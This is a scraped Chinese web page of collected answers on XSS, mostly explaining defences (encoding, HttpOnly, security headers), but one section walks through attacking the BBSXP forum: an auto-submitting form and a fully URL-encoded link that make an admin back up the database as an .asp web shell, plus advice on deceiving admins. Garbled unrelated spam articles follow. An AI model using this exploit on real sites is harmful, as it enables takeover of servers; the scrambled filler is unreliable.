当前位置:首页 > 黑客技术 > 正文内容

启用xss过滤(xss过滤空格)

hacker3年前 (2022-05-30)黑客技术96

本文导读目录:

如何正确防御xss攻击?

1、基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同,这就是给XSS漏洞防御带来的困难,不可能以单一特征来概括所有XSS攻击。

传统的XSS防御在进行攻击鉴别时多采用特征匹配方式,主要是针对JavaScript这个关键词进行检索,但是这种鉴别不够灵活,凡是提交的信息中各有JavaScript时,就被硬性的判定为XSS攻击。

2、基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误或漏洞,XSS攻击正是利用了失误和漏洞,因此一种比较理想的 *** 就是通过优化Web应用开发来减少漏洞,避免被攻击:

①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询,对不是规定格式、长度的内容进行过滤。

②实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

③确认接收的内容被妥善的规范化,仅包含最小的、安全的Tag,去掉任何对远程内容的引用,使用HTTP only的cookie。

3、客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端,这是它与其他模型更大的区别。之所以客户端安全性如此重要,客户端在接受服务器信息,选择性的执行相关内容。这样就可以使防御XSS攻击变得容易,该模型主要由三大部分组成:

①对每一个网页分配独立线程且分析资源消耗的网页线程分析模块;

②包含分层防御策略四个规则的用户输入分析模块;

③保存互联网上有关XSS恶意网站信息的XSS信息数据库。

最近网上流行的XSS是什么意思

就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。 然后利用下面的技术得到一个shell.[编辑本段]如何利用 传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的 *** 是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。[编辑本段]来自内部的跨站攻击 寻找跨站漏洞 如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试 *** 群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。 如何利用 我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例. a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入: c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。 d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示 除此之外我们只要在个人签名里输入 同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell. 上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名 处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的 攻击,对于flash木马的 *** ,下面见哥们丰初的介绍。 再利用如下: 修改一下个人头像的url,输入代码如下: 再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。[编辑本段]来自外部的跨站攻击 有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。 例:先上传一个文件linzi.txt,内容如下: 〈body onload="javascript:document.forms[0].submit()"〉〈form action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉 上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下: http://127.0.0.1/bbsxp/page2.asp?username= 我们构造备份跨站语句如下: http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。 当管理员打开后,会自动备份得到一个shell.[编辑本段]XSS与其它技术的结何 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用 *** 的其它跨站漏洞等等。 总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧! 好一个欺骗也是一门艺术,不管是在生活中还是在 *** 中。生活中难免有些事情不能讲真话,这时采用适当的 *** 使得我们的假话当作真话讲,这就靠欺骗的艺术了。

如何防止xss攻击,需要过滤什么

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱 *** ,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决 *** 就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php *** 来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击 ***

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent *** 。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此更好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御 *** ,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御 *** :首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

xss vrr怎么开启

可以这样。

打开浏览器,在最上面菜单栏点击工具。

在工具弹出的下拉框中点击Internal选项。

在Internal属性中,选择安全设置,在安全设置中点下方自定义级别。

最后,在大约中间位置,点击启用XSS筛选器。

如何使用 HTTP 响应头字段来提高 Web 安全性

在 Web 服务器做出响应时,为了提高安全性,在 HTTP 响应头中可以使用的各种响应头字段。

X-Frame-Options

该响应头中用于控制是否在浏览器中显示 frame 或 iframe 中指定的页面,主要用来防止 Clickjacking (点击劫持)攻击。

X-Frame-Options: SAMEORIGIN

DENY 禁止显示 frame 内的页面(即使是同一网站内的页面)

SAMEORIGIN

允许在 frame 内显示来自同一网站的页面,禁止显示来自其他网站的页面

ALLOW-FROM origin_uri 允许在 frame 内显示来自指定 uri 的页面(当允许显示来自于指定网站的页面时使用)

X-Content-Type-Options

如果从 script 或 stylesheet 读入的文件的 MIME 类型与指定 MIME 类型不匹配,不允许读取该文件。用于防止 XSS 等跨站脚本攻击。

X-Frame-Options: nosniff

X-XSS-Protection

用于启用浏览器的 XSS 过滤功能,以防止 XSS 跨站脚本攻击。

X-XSS-Protection: 1; mode=block

0 禁用 XSS 过滤功能

1 启用 XSS 过滤功能

Content-Security-Policy

用于控制当外部资源不可信赖时不被读取。用于防止 XSS 跨站脚本攻击或数据注入攻击(但是,如果设定不当,则网站中的部分脚本代码有可能失效)。

之前的字段名为 X-Content-Security-Policy

Content-Security-Policy: default-src 'self'

default-src ‘self’:允许读取来自于同源(域名+主机+端口号)的所有内容

default-src ‘self’

*.example.com:允许读取来自于指定域名及其所有子域名的所有内容

X-Permitted-Cross-Domain-Policies

用于指定当不能将地crossdomain.xml地文件(当需要从别的域名中的某个文件中读取 Flash 内容时用于进行必要设置的策略文件)放置在网站根目录等场合时采取的替代策略。

X-Permitted-Cross-Domain-Policies: master-only

master-only 只允许使用主策略文件(/crossdomain.xml)

Strict-Transport-Security

用于通知浏览器只能使用 HTTPS 协议访问网站。用于将 HTTP 网站重定向到 HTTPS 网站。

Strict-Transport-Security: max-age=31536; includeSubDomains

max-age 用于修改 STS 的默认有效时间。

includeSubDomains 用于指定所有子域名同样使用该策略。

Access-Control-Allow-Origin等CORS相关字段

当使用 XMLHttpRequest 从其他域名中获取资源进行跨域通信时使用。

Access-Control-Allow-Origin:

Access-Control-Allow-Methods: POST, GET, OPTIONS

Access-Control-Allow-Headers: X-TRICORDER

Access-Control-Max-Age: 1728

上述代码用于设定与 进行跨域通信处理,允许使用 POST, GET, OPTIONS *** ,在发送的请求头中添加 X-TRICORDER 字段,通信超时时间为1,728,00秒。

HTTP响应头的设定 ***

在 Apache 服务器中指定响应头时,需要在 httpd.conf 文件中将下述模块设定为有效状态。

LoadModule headers_module modules/mod_headers.so

然后使用下述 *** 设定 HTTP 响应头。

Header set HeaderFieldName "value"

//例如

Header set X-XSS-Protection "1; mode=block地

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/111117.html

标签: 启用xss过滤
分享给朋友:

“启用xss过滤(xss过滤空格)” 的相关文章

正邦饲料多少钱一吨 「贵阳正邦饲料联系电话」

那个反诈骗德律风 便会挨给您,小猪预混料正常正在 六000元阁下 ,详细 价钱 纷歧 样,这么那种情形 之高,自乱区设坐分。 宝积饲料厂野曲销,邪邦的猪饲料正常皆患上正在本地 署理 商」拿货,自 一 九 八 四年于今,或者者说是被许多 人举报过,贱阴邪邦畜牧有限私司若干 是 二00 六-0 八- 二...

宝马mini cooper_宝马mini cooper艺术家

若干 啊费油 吗尔是父孩念购啊.以是 价钱 更贱,马的MINIONE战MINICOOPER区分,MINIONE:MINICOOPER,苏伊士运河发作 和平,而出生 王谢 的,批红判白 。 设计竞赛 ,次要正在于:动员 机罪率分歧 、以上的仅仅展垫,中心 台播过,前脸采取 关闭 式的六边形外型,貌似像...

小米手机2价格_红米手机

小米打击  一亿年销质米粉怒迎红米 二贬价 mobizccn 二0 一 五年0 七月0 七日0 五: 二 八外闭村正在线新闻 :小米的红米 二,今朝 有卖的脚机有,红米脚机 二A是小米,发起 高载一款App小米商乡,容质版原。性价比下,假如 是淘宝上,红米脚机红米 一S。 红米 二若干 钱?提到红米...

天猫双十一购物津贴使用规则

每一年的单十一弄法 皆有更新,弄法 是愈来愈多,但仍保存 了一点儿经典弄法 ,好比 买物津揭。这么买物津揭是甚么意义呢?地猫单十一买物津揭运用规矩 是甚么?单十一买物津揭否以取哪些劣惠叠添?单 一 一买物津揭里值若干 元?一路 去相识 一高吧!...

毕福剑怎么了(朱军现在干什么)

倪萍 杨澜 杨澜 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 网难文娱 一月 二0日报导 一月 二0日上午,有名 主持人赵奸祥尸体 离别 典礼 正在南京八宝山举办 。杨澜、毕祸剑、马已皆、墨军、倪萍、杨澜、周涛、李瑞英等现身吊唁 。...

微信好友删除之后怎么找回(如何找回微信删除的好友)

微疑是腾讯团体 旗高的即时通信 运用 ,由弛小龙团队创立 开辟 ,提求文字谈天 、语音欠疑、同伙 圈、微疑民间账号等功效 。微信誉 户笼罩  二00多个国度 ,月活泼 用户跨越  八亿,支撑  二0多种说话 。许多 同伙 没有 晓得怎么找归被增除了的微疑石友 。跟年夜 野分享一高找归微疑石友 的要领...

评论列表

只酷弥繁
3年前 (2022-05-30)

xt。 当管理员打开后,会自动备份得到一个shell.[编辑本段]XSS与其它技术的结何 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技

末屿溇涏
3年前 (2022-05-30)

时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。 总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧! 好一个欺

夙世辞取
3年前 (2022-05-31)

ity-Policy: default-src 'self'default-src ‘self’:允许读取来自于同源(域名+主机+端口号)的所有内容default-src ‘self’*.example.com:

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。